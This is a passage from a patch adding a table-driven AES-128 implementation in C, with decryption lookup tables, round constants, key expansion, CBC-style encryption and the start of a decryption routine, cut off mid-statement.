0xede11ce5U, 0x3c7a47b1U, + 0x599cd2dfU, 0x3f55f273U, 0x791814ceU, 0xbf73c737U, + 0xea53f7cdU, 0x5b5ffdaaU, 0x14df3d6fU, 0x867844dbU, + 0x81caaff3U, 0x3eb968c4U, 0x2c382434U, 0x5fc2a340U, + 0x72161dc3U, 0x0cbce225U, 0x8b283c49U, 0x41ff0d95U, + 0x7139a801U, 0xde080cb3U, 0x9cd8b4e4U, 0x906456c1U, + 0x617bcb84U, 0x70d532b6U, 0x74486c5cU, 0x42d0b857U, +}; + +static const unsigned int Td2[256] = +{ + 0xa75051f4U, 0x65537e41U, 0xa4c31a17U, 0x5e963a27U, + 0x6bcb3babU, 0x45f11f9dU, 0x58abacfaU, 0x03934be3U, + 0xfa552030U, 0x6df6ad76U, 0x769188ccU, 0x4c25f502U, + 0xd7fc4fe5U, 0xcbd7c52aU, 0x44802635U, 0xa38fb562U, + 0x5a49deb1U, 0x1b6725baU, 0x0e9845eaU, 0xc0e15dfeU, + 0x7502c32fU, 0xf012814cU, 0x97a38d46U, 0xf9c66bd3U, + 0x5fe7038fU, 0x9c951592U, 0x7aebbf6dU, 0x59da9552U, + 0x832dd4beU, 0x21d35874U, 0x692949e0U, 0xc8448ec9U, + 0x896a75c2U, 0x7978f48eU, 0x3e6b9958U, 0x71dd27b9U, + 0x4fb6bee1U, 0xad17f088U, 0xac66c920U, 0x3ab47dceU, + 0x4a1863dfU, 0x3182e51aU, 0x33609751U, 0x7f456253U, + 0x77e0b164U, 0xae84bb6bU, 0xa01cfe81U, 0x2b94f908U, + 0x68587048U, 0xfd198f45U, 0x6c8794deU, 0xf8b7527bU, + 0xd323ab73U, 0x02e2724bU, 0x8f57e31fU, 0xab2a6655U, + 0x2807b2ebU, 0xc2032fb5U, 0x7b9a86c5U, 0x08a5d337U, + 0x87f23028U, 0xa5b223bfU, 0x6aba0203U, 0x825ced16U, + 0x1c2b8acfU, 0xb492a779U, 0xf2f0f307U, 0xe2a14e69U, + 0xf4cd65daU, 0xbed50605U, 0x621fd134U, 0xfe8ac4a6U, + 0x539d342eU, 0x55a0a2f3U, 0xe132058aU, 0xeb75a4f6U, + 0xec390b83U, 0xefaa4060U, 0x9f065e71U, 0x1051bd6eU, + 0x8af93e21U, 0x063d96ddU, 0x05aedd3eU, 0xbd464de6U, + 0x8db59154U, 0x5d0571c4U, 0xd46f0406U, 0x15ff6050U, + 0xfb241998U, 0xe997d6bdU, 0x43cc8940U, 0x9e7767d9U, + 0x42bdb0e8U, 0x8b880789U, 0x5b38e719U, 0xeedb79c8U, + 0x0a47a17cU, 0x0fe97c42U, 0x1ec9f884U, 0x00000000U, + 0x86830980U, 0xed48322bU, 0x70ac1e11U, 0x724e6c5aU, + 0xfffbfd0eU, 0x38560f85U, 0xd51e3daeU, 0x3927362dU, + 0xd9640a0fU, 0xa621685cU, 0x54d19b5bU, 0x2e3a2436U, + 0x67b10c0aU, 0xe70f9357U, 0x96d2b4eeU, 0x919e1b9bU, + 0xc54f80c0U, 0x20a261dcU, 0x4b695a77U, 0x1a161c12U, + 0xba0ae293U, 0x2ae5c0a0U, 0xe0433c22U, 0x171d121bU, + 0x0d0b0e09U, 0xc7adf28bU, 0xa8b92db6U, 0xa9c8141eU, + 0x198557f1U, 0x074caf75U, 0xddbbee99U, 0x60fda37fU, + 0x269ff701U, 0xf5bc5c72U, 0x3bc54466U, 0x7e345bfbU, + 0x29768b43U, 0xc6dccb23U, 0xfc68b6edU, 0xf163b8e4U, + 0xdccad731U, 0x85104263U, 0x22401397U, 0x112084c6U, + 0x247d854aU, 0x3df8d2bbU, 0x3211aef9U, 0xa16dc729U, + 0x2f4b1d9eU, 0x30f3dcb2U, 0x52ec0d86U, 0xe3d077c1U, + 0x166c2bb3U, 0xb999a970U, 0x48fa1194U, 0x642247e9U, + 0x8cc4a8fcU, 0x3f1aa0f0U, 0x2cd8567dU, 0x90ef2233U, + 0x4ec78749U, 0xd1c1d938U, 0xa2fe8ccaU, 0x0b3698d4U, + 0x81cfa6f5U, 0xde28a57aU, 0x8e26dab7U, 0xbfa43fadU, + 0x9de42c3aU, 0x920d5078U, 0xcc9b6a5fU, 0x4662547eU, + 0x13c2f68dU, 0xb8e890d8U, 0xf75e2e39U, 0xaff582c3U, + 0x80be9f5dU, 0x937c69d0U, 0x2da96fd5U, 0x12b3cf25U, + 0x993bc8acU, 0x7da71018U, 0x636ee89cU, 0xbb7bdb3bU, + 0x7809cd26U, 0x18f46e59U, 0xb701ec9aU, 0x9aa8834fU, + 0x6e65e695U, 0xe67eaaffU, 0xcf0821bcU, 0xe8e6ef15U, + 0x9bd9bae7U, 0x36ce4a6fU, 0x09d4ea9fU, 0x7cd629b0U, + 0xb2af31a4U, 0x23312a3fU, 0x9430c6a5U, 0x66c035a2U, + 0xbc37744eU, 0xcaa6fc82U, 0xd0b0e090U, 0xd81533a7U, + 0x984af104U, 0xdaf741ecU, 0x500e7fcdU, 0xf62f1791U, + 0xd68d764dU, 0xb04d43efU, 0x4d54ccaaU, 0x04dfe496U, + 0xb5e39ed1U, 0x881b4c6aU, 0x1fb8c12cU, 0x517f4665U, + 0xea049d5eU, 0x355d018cU, 0x7473fa87U, 0x412efb0bU, + 0x1d5ab367U, 0xd25292dbU, 0x5633e910U, 0x47136dd6U, + 0x618c9ad7U, 0x0c7a37a1U, 0x148e59f8U, 0x3c89eb13U, + 0x27eecea9U, 0xc935b761U, 0xe5ede11cU, 0xb13c7a47U, + 0xdf599cd2U, 0x733f55f2U, 0xce791814U, 0x37bf73c7U, + 0xcdea53f7U, 0xaa5b5ffdU, 0x6f14df3dU, 0xdb867844U, + 0xf381caafU, 0xc43eb968U, 0x342c3824U, 0x405fc2a3U, + 0xc372161dU, 0x250cbce2U, 0x498b283cU, 0x9541ff0dU, + 0x017139a8U, 0xb3de080cU, 0xe49cd8b4U, 0xc1906456U, + 0x84617bcbU, 0xb670d532U, 0x5c74486cU, 0x5742d0b8U, +}; + +static const unsigned int Td3[256] = +{ + 0xf4a75051U, 0x4165537eU, 0x17a4c31aU, 0x275e963aU, + 0xab6bcb3bU, 0x9d45f11fU, 0xfa58abacU, 0xe303934bU, + 0x30fa5520U, 0x766df6adU, 0xcc769188U, 0x024c25f5U, + 0xe5d7fc4fU, 0x2acbd7c5U, 0x35448026U, 0x62a38fb5U, + 0xb15a49deU, 0xba1b6725U, 0xea0e9845U, 0xfec0e15dU, + 0x2f7502c3U, 0x4cf01281U, 0x4697a38dU, 0xd3f9c66bU, + 0x8f5fe703U, 0x929c9515U, 0x6d7aebbfU, 0x5259da95U, + 0xbe832dd4U, 0x7421d358U, 0xe0692949U, 0xc9c8448eU, + 0xc2896a75U, 0x8e7978f4U, 0x583e6b99U, 0xb971dd27U, + 0xe14fb6beU, 0x88ad17f0U, 0x20ac66c9U, 0xce3ab47dU, + 0xdf4a1863U, 0x1a3182e5U, 0x51336097U, 0x537f4562U, + 0x6477e0b1U, 0x6bae84bbU, 0x81a01cfeU, 0x082b94f9U, + 0x48685870U, 0x45fd198fU, 0xde6c8794U, 0x7bf8b752U, + 0x73d323abU, 0x4b02e272U, 0x1f8f57e3U, 0x55ab2a66U, + 0xeb2807b2U, 0xb5c2032fU, 0xc57b9a86U, 0x3708a5d3U, + 0x2887f230U, 0xbfa5b223U, 0x036aba02U, 0x16825cedU, + 0xcf1c2b8aU, 0x79b492a7U, 0x07f2f0f3U, 0x69e2a14eU, + 0xdaf4cd65U, 0x05bed506U, 0x34621fd1U, 0xa6fe8ac4U, + 0x2e539d34U, 0xf355a0a2U, 0x8ae13205U, 0xf6eb75a4U, + 0x83ec390bU, 0x60efaa40U, 0x719f065eU, 0x6e1051bdU, + 0x218af93eU, 0xdd063d96U, 0x3e05aeddU, 0xe6bd464dU, + 0x548db591U, 0xc45d0571U, 0x06d46f04U, 0x5015ff60U, + 0x98fb2419U, 0xbde997d6U, 0x4043cc89U, 0xd99e7767U, + 0xe842bdb0U, 0x898b8807U, 0x195b38e7U, 0xc8eedb79U, + 0x7c0a47a1U, 0x420fe97cU, 0x841ec9f8U, 0x00000000U, + 0x80868309U, 0x2bed4832U, 0x1170ac1eU, 0x5a724e6cU, + 0x0efffbfdU, 0x8538560fU, 0xaed51e3dU, 0x2d392736U, + 0x0fd9640aU, 0x5ca62168U, 0x5b54d19bU, 0x362e3a24U, + 0x0a67b10cU, 0x57e70f93U, 0xee96d2b4U, 0x9b919e1bU, + 0xc0c54f80U, 0xdc20a261U, 0x774b695aU, 0x121a161cU, + 0x93ba0ae2U, 0xa02ae5c0U, 0x22e0433cU, 0x1b171d12U, + 0x090d0b0eU, 0x8bc7adf2U, 0xb6a8b92dU, 0x1ea9c814U, + 0xf1198557U, 0x75074cafU, 0x99ddbbeeU, 0x7f60fda3U, + 0x01269ff7U, 0x72f5bc5cU, 0x663bc544U, 0xfb7e345bU, + 0x4329768bU, 0x23c6dccbU, 0xedfc68b6U, 0xe4f163b8U, + 0x31dccad7U, 0x63851042U, 0x97224013U, 0xc6112084U, + 0x4a247d85U, 0xbb3df8d2U, 0xf93211aeU, 0x29a16dc7U, + 0x9e2f4b1dU, 0xb230f3dcU, 0x8652ec0dU, 0xc1e3d077U, + 0xb3166c2bU, 0x70b999a9U, 0x9448fa11U, 0xe9642247U, + 0xfc8cc4a8U, 0xf03f1aa0U, 0x7d2cd856U, 0x3390ef22U, + 0x494ec787U, 0x38d1c1d9U, 0xcaa2fe8cU, 0xd40b3698U, + 0xf581cfa6U, 0x7ade28a5U, 0xb78e26daU, 0xadbfa43fU, + 0x3a9de42cU, 0x78920d50U, 0x5fcc9b6aU, 0x7e466254U, + 0x8d13c2f6U, 0xd8b8e890U, 0x39f75e2eU, 0xc3aff582U, + 0x5d80be9fU, 0xd0937c69U, 0xd52da96fU, 0x2512b3cfU, + 0xac993bc8U, 0x187da710U, 0x9c636ee8U, 0x3bbb7bdbU, + 0x267809cdU, 0x5918f46eU, 0x9ab701ecU, 0x4f9aa883U, + 0x956e65e6U, 0xffe67eaaU, 0xbccf0821U, 0x15e8e6efU, + 0xe79bd9baU, 0x6f36ce4aU, 0x9f09d4eaU, 0xb07cd629U, + 0xa4b2af31U, 0x3f23312aU, 0xa59430c6U, 0xa266c035U, + 0x4ebc3774U, 0x82caa6fcU, 0x90d0b0e0U, 0xa7d81533U, + 0x04984af1U, 0xecdaf741U, 0xcd500e7fU, 0x91f62f17U, + 0x4dd68d76U, 0xefb04d43U, 0xaa4d54ccU, 0x9604dfe4U, + 0xd1b5e39eU, 0x6a881b4cU, 0x2c1fb8c1U, 0x65517f46U, + 0x5eea049dU, 0x8c355d01U, 0x877473faU, 0x0b412efbU, + 0x671d5ab3U, 0xdbd25292U, 0x105633e9U, 0xd647136dU, + 0xd7618c9aU, 0xa10c7a37U, 0xf8148e59U, 0x133c89ebU, + 0xa927eeceU, 0x61c935b7U, 0x1ce5ede1U, 0x47b13c7aU, + 0xd2df599cU, 0xf2733f55U, 0x14ce7918U, 0xc737bf73U, + 0xf7cdea53U, 0xfdaa5b5fU, 0x3d6f14dfU, 0x44db8678U, + 0xaff381caU, 0x68c43eb9U, 0x24342c38U, 0xa3405fc2U, + 0x1dc37216U, 0xe2250cbcU, 0x3c498b28U, 0x0d9541ffU, + 0xa8017139U, 0x0cb3de08U, 0xb4e49cd8U, 0x56c19064U, + 0xcb84617bU, 0x32b670d5U, 0x6c5c7448U, 0xb85742d0U, +}; + +static const unsigned int Td4[256] = +{ + 0x52525252U, 0x09090909U, 0x6a6a6a6aU, 0xd5d5d5d5U, + 0x30303030U, 0x36363636U, 0xa5a5a5a5U, 0x38383838U, + 0xbfbfbfbfU, 0x40404040U, 0xa3a3a3a3U, 0x9e9e9e9eU, + 0x81818181U, 0xf3f3f3f3U, 0xd7d7d7d7U, 0xfbfbfbfbU, + 0x7c7c7c7cU, 0xe3e3e3e3U, 0x39393939U, 0x82828282U, + 0x9b9b9b9bU, 0x2f2f2f2fU, 0xffffffffU, 0x87878787U, + 0x34343434U, 0x8e8e8e8eU, 0x43434343U, 0x44444444U, + 0xc4c4c4c4U, 0xdedededeU, 0xe9e9e9e9U, 0xcbcbcbcbU, + 0x54545454U, 0x7b7b7b7bU, 0x94949494U, 0x32323232U, + 0xa6a6a6a6U, 0xc2c2c2c2U, 0x23232323U, 0x3d3d3d3dU, + 0xeeeeeeeeU, 0x4c4c4c4cU, 0x95959595U, 0x0b0b0b0bU, + 0x42424242U, 0xfafafafaU, 0xc3c3c3c3U, 0x4e4e4e4eU, + 0x08080808U, 0x2e2e2e2eU, 0xa1a1a1a1U, 0x66666666U, + 0x28282828U, 0xd9d9d9d9U, 0x24242424U, 0xb2b2b2b2U, + 0x76767676U, 0x5b5b5b5bU, 0xa2a2a2a2U, 0x49494949U, + 0x6d6d6d6dU, 0x8b8b8b8bU, 0xd1d1d1d1U, 0x25252525U, + 0x72727272U, 0xf8f8f8f8U, 0xf6f6f6f6U, 0x64646464U, + 0x86868686U, 0x68686868U, 0x98989898U, 0x16161616U, + 0xd4d4d4d4U, 0xa4a4a4a4U, 0x5c5c5c5cU, 0xccccccccU, + 0x5d5d5d5dU, 0x65656565U, 0xb6b6b6b6U, 0x92929292U, + 0x6c6c6c6cU, 0x70707070U, 0x48484848U, 0x50505050U, + 0xfdfdfdfdU, 0xededededU, 0xb9b9b9b9U, 0xdadadadaU, + 0x5e5e5e5eU, 0x15151515U, 0x46464646U, 0x57575757U, + 0xa7a7a7a7U, 0x8d8d8d8dU, 0x9d9d9d9dU, 0x84848484U, + 0x90909090U, 0xd8d8d8d8U, 0xababababU, 0x00000000U, + 0x8c8c8c8cU, 0xbcbcbcbcU, 0xd3d3d3d3U, 0x0a0a0a0aU, + 0xf7f7f7f7U, 0xe4e4e4e4U, 0x58585858U, 0x05050505U, + 0xb8b8b8b8U, 0xb3b3b3b3U, 0x45454545U, 0x06060606U, + 0xd0d0d0d0U, 0x2c2c2c2cU, 0x1e1e1e1eU, 0x8f8f8f8fU, + 0xcacacacaU, 0x3f3f3f3fU, 0x0f0f0f0fU, 0x02020202U, + 0xc1c1c1c1U, 0xafafafafU, 0xbdbdbdbdU, 0x03030303U, + 0x01010101U, 0x13131313U, 0x8a8a8a8aU, 0x6b6b6b6bU, + 0x3a3a3a3aU, 0x91919191U, 0x11111111U, 0x41414141U, + 0x4f4f4f4fU, 0x67676767U, 0xdcdcdcdcU, 0xeaeaeaeaU, + 0x97979797U, 0xf2f2f2f2U, 0xcfcfcfcfU, 0xcecececeU, + 0xf0f0f0f0U, 0xb4b4b4b4U, 0xe6e6e6e6U, 0x73737373U, + 0x96969696U, 0xacacacacU, 0x74747474U, 0x22222222U, + 0xe7e7e7e7U, 0xadadadadU, 0x35353535U, 0x85858585U, + 0xe2e2e2e2U, 0xf9f9f9f9U, 0x37373737U, 0xe8e8e8e8U, + 0x1c1c1c1cU, 0x75757575U, 0xdfdfdfdfU, 0x6e6e6e6eU, + 0x47474747U, 0xf1f1f1f1U, 0x1a1a1a1aU, 0x71717171U, + 0x1d1d1d1dU, 0x29292929U, 0xc5c5c5c5U, 0x89898989U, + 0x6f6f6f6fU, 0xb7b7b7b7U, 0x62626262U, 0x0e0e0e0eU, + 0xaaaaaaaaU, 0x18181818U, 0xbebebebeU, 0x1b1b1b1bU, + 0xfcfcfcfcU, 0x56565656U, 0x3e3e3e3eU, 0x4b4b4b4bU, + 0xc6c6c6c6U, 0xd2d2d2d2U, 0x79797979U, 0x20202020U, + 0x9a9a9a9aU, 0xdbdbdbdbU, 0xc0c0c0c0U, 0xfefefefeU, + 0x78787878U, 0xcdcdcdcdU, 0x5a5a5a5aU, 0xf4f4f4f4U, + 0x1f1f1f1fU, 0xddddddddU, 0xa8a8a8a8U, 0x33333333U, + 0x88888888U, 0x07070707U, 0xc7c7c7c7U, 0x31313131U, + 0xb1b1b1b1U, 0x12121212U, 0x10101010U, 0x59595959U, + 0x27272727U, 0x80808080U, 0xececececU, 0x5f5f5f5fU, + 0x60606060U, 0x51515151U, 0x7f7f7f7fU, 0xa9a9a9a9U, + 0x19191919U, 0xb5b5b5b5U, 0x4a4a4a4aU, 0x0d0d0d0dU, + 0x2d2d2d2dU, 0xe5e5e5e5U, 0x7a7a7a7aU, 0x9f9f9f9fU, + 0x93939393U, 0xc9c9c9c9U, 0x9c9c9c9cU, 0xefefefefU, + 0xa0a0a0a0U, 0xe0e0e0e0U, 0x3b3b3b3bU, 0x4d4d4d4dU, + 0xaeaeaeaeU, 0x2a2a2a2aU, 0xf5f5f5f5U, 0xb0b0b0b0U, + 0xc8c8c8c8U, 0xebebebebU, 0xbbbbbbbbU, 0x3c3c3c3cU, + 0x83838383U, 0x53535353U, 0x99999999U, 0x61616161U, + 0x17171717U, 0x2b2b2b2bU, 0x04040404U, 0x7e7e7e7eU, + 0xbabababaU, 0x77777777U, 0xd6d6d6d6U, 0x26262626U, + 0xe1e1e1e1U, 0x69696969U, 0x14141414U, 0x63636363U, + 0x55555555U, 0x21212121U, 0x0c0c0c0cU, 0x7d7d7d7dU, +}; + +static const unsigned int rcon[10] = { + 0x01000000, 0x02000000, 0x04000000, 0x08000000, + 0x10000000, 0x20000000, 0x40000000, 0x80000000, + 0x1B000000, 0x36000000 +}; + +typedef struct { + unsigned int roundkey[44]; + unsigned int iv[4]; +} AES_CTX; + +static void AES_EncryptInit(AES_CTX *ctx, const unsigned char *key, const unsigned char *iv) { + ctx->roundkey[0] = GETU32(key + 0); + ctx->roundkey[1] = GETU32(key + 4); + ctx->roundkey[2] = GETU32(key + 8); + ctx->roundkey[3] = GETU32(key + 12); + + ctx->iv[0] = GETU32(iv + 0); + ctx->iv[1] = GETU32(iv + 4); + ctx->iv[2] = GETU32(iv + 8); + ctx->iv[3] = GETU32(iv + 12); + + for (unsigned char index = 4; index < 44; index += 4) { + ctx->roundkey[index] = ctx->roundkey[index - 4] ^ + (Te4[(ctx->roundkey[index - 1] >> 16) & 0xff] & 0xff000000) ^ + (Te4[(ctx->roundkey[index - 1] >> 8) & 0xff] & 0x00ff0000) ^ + (Te4[(ctx->roundkey[index - 1] >> 0) & 0xff] & 0x0000ff00) ^ + (Te4[(ctx->roundkey[index - 1] >> 24) & 0xff] & 0x000000ff) ^ rcon[index / 4 - 1]; + ctx->roundkey[index + 1] = ctx->roundkey[index - 3] ^ ctx->roundkey[index]; + ctx->roundkey[index + 2] = ctx->roundkey[index - 2] ^ ctx->roundkey[index + 1]; + ctx->roundkey[index + 3] = ctx->roundkey[index - 1] ^ ctx->roundkey[index + 2]; + } +} + +static void AES_DecryptInit(AES_CTX *ctx, const unsigned char *key, const unsigned char *iv) { + AES_EncryptInit(ctx, key, iv); + + unsigned int temp; + + // Next, invert the order of the round keys. + for (unsigned char i = 0, j = 40; i < j; i += 4, j -= 4) { + for (uint8_t k = 0; k < 4; k++) { + temp = ctx->roundkey[i + k]; + ctx->roundkey[i + k] = ctx->roundkey[j + k]; + ctx->roundkey[j + k] = temp; + } + } + + // Finally, apply the inverse MixColumn transform to all round keys except the first and last. + for (unsigned char index = 4; index < 40; index += 4) { + ctx->roundkey[index] = + Td0[Te4[(ctx->roundkey[index] >> 24) & 0xff] & 0xff] ^ + Td1[Te4[(ctx->roundkey[index] >> 16) & 0xff] & 0xff] ^ + Td2[Te4[(ctx->roundkey[index] >> 8) & 0xff] & 0xff] ^ + Td3[Te4[(ctx->roundkey[index] >> 0) & 0xff] & 0xff]; + ctx->roundkey[index + 1] = + Td0[Te4[(ctx->roundkey[index + 1] >> 24) & 0xff] & 0xff] ^ + Td1[Te4[(ctx->roundkey[index + 1] >> 16) & 0xff] & 0xff] ^ + Td2[Te4[(ctx->roundkey[index + 1] >> 8) & 0xff] & 0xff] ^ + Td3[Te4[(ctx->roundkey[index + 1] >> 0) & 0xff] & 0xff]; + ctx->roundkey[index + 2] = + Td0[Te4[(ctx->roundkey[index + 2] >> 24) & 0xff] & 0xff] ^ + Td1[Te4[(ctx->roundkey[index + 2] >> 16) & 0xff] & 0xff] ^ + Td2[Te4[(ctx->roundkey[index + 2] >> 8) & 0xff] & 0xff] ^ + Td3[Te4[(ctx->roundkey[index + 2] >> 0) & 0xff] & 0xff]; + ctx->roundkey[index + 3] = + Td0[Te4[(ctx->roundkey[index + 3] >> 24) & 0xff] & 0xff] ^ + Td1[Te4[(ctx->roundkey[index + 3] >> 16) & 0xff] & 0xff] ^ + Td2[Te4[(ctx->roundkey[index + 3] >> 8) & 0xff] & 0xff] ^ + Td3[Te4[(ctx->roundkey[index + 3] >> 0) & 0xff] & 0xff]; + } +} + +static void AES_Encrypt(AES_CTX *ctx, const unsigned char in_data[AES_BLOCK_SIZE], unsigned char out_data[AES_BLOCK_SIZE]) { + unsigned int s0, s1, s2, s3, t0, t1, t2, t3, offset; + + // Initial round + s0 = GETU32(in_data + 0) ^ ctx->iv[0] ^ ctx->roundkey[0]; + s1 = GETU32(in_data + 4) ^ ctx->iv[1] ^ ctx->roundkey[1]; + s2 = GETU32(in_data + 8) ^ ctx->iv[2] ^ ctx->roundkey[2]; + s3 = GETU32(in_data + 12) ^ ctx->iv[3] ^ ctx->roundkey[3]; + + // round 1 + t0 = Te0[s0 >> 24] ^ Te1[(s1 >> 16) & 0xff] ^ Te2[(s2 >> 8) & 0xff] ^ Te3[s3 & 0xff] ^ ctx->roundkey[ 4]; + t1 = Te0[s1 >> 24] ^ Te1[(s2 >> 16) & 0xff] ^ Te2[(s3 >> 8) & 0xff] ^ Te3[s0 & 0xff] ^ ctx->roundkey[ 5]; + t2 = Te0[s2 >> 24] ^ Te1[(s3 >> 16) & 0xff] ^ Te2[(s0 >> 8) & 0xff] ^ Te3[s1 & 0xff] ^ ctx->roundkey[ 6]; + t3 = Te0[s3 >> 24] ^ Te1[(s0 >> 16) & 0xff] ^ Te2[(s1 >> 8) & 0xff] ^ Te3[s2 & 0xff] ^ ctx->roundkey[ 7]; + // round 2 + s0 = Te0[t0 >> 24] ^ Te1[(t1 >> 16) & 0xff] ^ Te2[(t2 >> 8) & 0xff] ^ Te3[t3 & 0xff] ^ ctx->roundkey[ 8]; + s1 = Te0[t1 >> 24] ^ Te1[(t2 >> 16) & 0xff] ^ Te2[(t3 >> 8) & 0xff] ^ Te3[t0 & 0xff] ^ ctx->roundkey[ 9]; + s2 = Te0[t2 >> 24] ^ Te1[(t3 >> 16) & 0xff] ^ Te2[(t0 >> 8) & 0xff] ^ Te3[t1 & 0xff] ^ ctx->roundkey[10]; + s3 = Te0[t3 >> 24] ^ Te1[(t0 >> 16) & 0xff] ^ Te2[(t1 >> 8) & 0xff] ^ Te3[t2 & 0xff] ^ ctx->roundkey[11]; + // round 3 + t0 = Te0[s0 >> 24] ^ Te1[(s1 >> 16) & 0xff] ^ Te2[(s2 >> 8) & 0xff] ^ Te3[s3 & 0xff] ^ ctx->roundkey[12]; + t1 = Te0[s1 >> 24] ^ Te1[(s2 >> 16) & 0xff] ^ Te2[(s3 >> 8) & 0xff] ^ Te3[s0 & 0xff] ^ ctx->roundkey[13]; + t2 = Te0[s2 >> 24] ^ Te1[(s3 >> 16) & 0xff] ^ Te2[(s0 >> 8) & 0xff] ^ Te3[s1 & 0xff] ^ ctx->roundkey[14]; + t3 = Te0[s3 >> 24] ^ Te1[(s0 >> 16) & 0xff] ^ Te2[(s1 >> 8) & 0xff] ^ Te3[s2 & 0xff] ^ ctx->roundkey[15]; + // round 4 + s0 = Te0[t0 >> 24] ^ Te1[(t1 >> 16) & 0xff] ^ Te2[(t2 >> 8) & 0xff] ^ Te3[t3 & 0xff] ^ ctx->roundkey[16]; + s1 = Te0[t1 >> 24] ^ Te1[(t2 >> 16) & 0xff] ^ Te2[(t3 >> 8) & 0xff] ^ Te3[t0 & 0xff] ^ ctx->roundkey[17]; + s2 = Te0[t2 >> 24] ^ Te1[(t3 >> 16) & 0xff] ^ Te2[(t0 >> 8) & 0xff] ^ Te3[t1 & 0xff] ^ ctx->roundkey[18]; + s3 = Te0[t3 >> 24] ^ Te1[(t0 >> 16) & 0xff] ^ Te2[(t1 >> 8) & 0xff] ^ Te3[t2 & 0xff] ^ ctx->roundkey[19]; + // round 5 + t0 = Te0[s0 >> 24] ^ Te1[(s1 >> 16) & 0xff] ^ Te2[(s2 >> 8) & 0xff] ^ Te3[s3 & 0xff] ^ ctx->roundkey[20]; + t1 = Te0[s1 >> 24] ^ Te1[(s2 >> 16) & 0xff] ^ Te2[(s3 >> 8) & 0xff] ^ Te3[s0 & 0xff] ^ ctx->roundkey[21]; + t2 = Te0[s2 >> 24] ^ Te1[(s3 >> 16) & 0xff] ^ Te2[(s0 >> 8) & 0xff] ^ Te3[s1 & 0xff] ^ ctx->roundkey[22]; + t3 = Te0[s3 >> 24] ^ Te1[(s0 >> 16) & 0xff] ^ Te2[(s1 >> 8) & 0xff] ^ Te3[s2 & 0xff] ^ ctx->roundkey[23]; + // round 6 + s0 = Te0[t0 >> 24] ^ Te1[(t1 >> 16) & 0xff] ^ Te2[(t2 >> 8) & 0xff] ^ Te3[t3 & 0xff] ^ ctx->roundkey[24]; + s1 = Te0[t1 >> 24] ^ Te1[(t2 >> 16) & 0xff] ^ Te2[(t3 >> 8) & 0xff] ^ Te3[t0 & 0xff] ^ ctx->roundkey[25]; + s2 = Te0[t2 >> 24] ^ Te1[(t3 >> 16) & 0xff] ^ Te2[(t0 >> 8) & 0xff] ^ Te3[t1 & 0xff] ^ ctx->roundkey[26]; + s3 = Te0[t3 >> 24] ^ Te1[(t0 >> 16) & 0xff] ^ Te2[(t1 >> 8) & 0xff] ^ Te3[t2 & 0xff] ^ ctx->roundkey[27]; + // round 7 + t0 = Te0[s0 >> 24] ^ Te1[(s1 >> 16) & 0xff] ^ Te2[(s2 >> 8) & 0xff] ^ Te3[s3 & 0xff] ^ ctx->roundkey[28]; + t1 = Te0[s1 >> 24] ^ Te1[(s2 >> 16) & 0xff] ^ Te2[(s3 >> 8) & 0xff] ^ Te3[s0 & 0xff] ^ ctx->roundkey[29]; + t2 = Te0[s2 >> 24] ^ Te1[(s3 >> 16) & 0xff] ^ Te2[(s0 >> 8) & 0xff] ^ Te3[s1 & 0xff] ^ ctx->roundkey[30]; + t3 = Te0[s3 >> 24] ^ Te1[(s0 >> 16) & 0xff] ^ Te2[(s1 >> 8) & 0xff] ^ Te3[s2 & 0xff] ^ ctx->roundkey[31]; + // round 8 + s0 = Te0[t0 >> 24] ^ Te1[(t1 >> 16) & 0xff] ^ Te2[(t2 >> 8) & 0xff] ^ Te3[t3 & 0xff] ^ ctx->roundkey[32]; + s1 = Te0[t1 >> 24] ^ Te1[(t2 >> 16) & 0xff] ^ Te2[(t3 >> 8) & 0xff] ^ Te3[t0 & 0xff] ^ ctx->roundkey[33]; + s2 = Te0[t2 >> 24] ^ Te1[(t3 >> 16) & 0xff] ^ Te2[(t0 >> 8) & 0xff] ^ Te3[t1 & 0xff] ^ ctx->roundkey[34]; + s3 = Te0[t3 >> 24] ^ Te1[(t0 >> 16) & 0xff] ^ Te2[(t1 >> 8) & 0xff] ^ Te3[t2 & 0xff] ^ ctx->roundkey[35]; + // round 9 + t0 = Te0[s0 >> 24] ^ Te1[(s1 >> 16) & 0xff] ^ Te2[(s2 >> 8) & 0xff] ^ Te3[s3 & 0xff] ^ ctx->roundkey[36]; + t1 = Te0[s1 >> 24] ^ Te1[(s2 >> 16) & 0xff] ^ Te2[(s3 >> 8) & 0xff] ^ Te3[s0 & 0xff] ^ ctx->roundkey[37]; + t2 = Te0[s2 >> 24] ^ Te1[(s3 >> 16) & 0xff] ^ Te2[(s0 >> 8) & 0xff] ^ Te3[s1 & 0xff] ^ ctx->roundkey[38]; + t3 = Te0[s3 >> 24] ^ Te1[(s0 >> 16) & 0xff] ^ Te2[(s1 >> 8) & 0xff] ^ Te3[s2 & 0xff] ^ ctx->roundkey[39]; + // Final round + s0 = (Te4[(t0 >> 24) & 0xff] & 0xff000000) ^ (Te4[(t1 >> 16) & 0xff] & 0x00ff0000) ^ (Te4[(t2 >> 8) & 0xff] & 0x0000ff00) ^ (Te4[(t3 >> 0) & 0xff] & 0x000000ff) ^ ctx->roundkey[40]; + s1 = (Te4[(t1 >> 24) & 0xff] & 0xff000000) ^ (Te4[(t2 >> 16) & 0xff] & 0x00ff0000) ^ (Te4[(t3 >> 8) & 0xff] & 0x0000ff00) ^ (Te4[(t0 >> 0) & 0xff] & 0x000000ff) ^ ctx->roundkey[41]; + s2 = (Te4[(t2 >> 24) & 0xff] & 0xff000000) ^ (Te4[(t3 >> 16) & 0xff] & 0x00ff0000) ^ (Te4[(t0 >> 8) & 0xff] & 0x0000ff00) ^ (Te4[(t1 >> 0) & 0xff] & 0x000000ff) ^ ctx->roundkey[42]; + s3 = (Te4[(t3 >> 24) & 0xff] & 0xff000000) ^ (Te4[(t0 >> 16) & 0xff] & 0x00ff0000) ^ (Te4[(t1 >> 8) & 0xff] & 0x0000ff00) ^ (Te4[(t2 >> 0) & 0xff] & 0x000000ff) ^ ctx->roundkey[43]; + + // Output the result + PUTU32(out_data + 0, s0); + PUTU32(out_data + 4, s1); + PUTU32(out_data + 8, s2); + PUTU32(out_data + 12, s3); + + ctx->iv[0] = s0; + ctx->iv[1] = s1; + ctx->iv[2] = s2; + ctx->iv[3] = s3; +} + +static void AES_Decrypt(AES_CTX *ctx, const unsigned char in_data[AES_BLOCK_SIZE], unsigned char out_data[AES_BLOCK_SIZE]) { + unsigned int s0, s1, s2, s3, t0, t1, t2, t3, offset; + + unsigned int temp[4]; + + s0 = GETU32(in_data + 0) ^ ctx->roundkey[0]; + s1 = GETU32(in_data + 4) ^ ctx->roundkey[1]; + s2 = GETU32(in_data + 8) ^ ctx->roundkey[2]; + s3 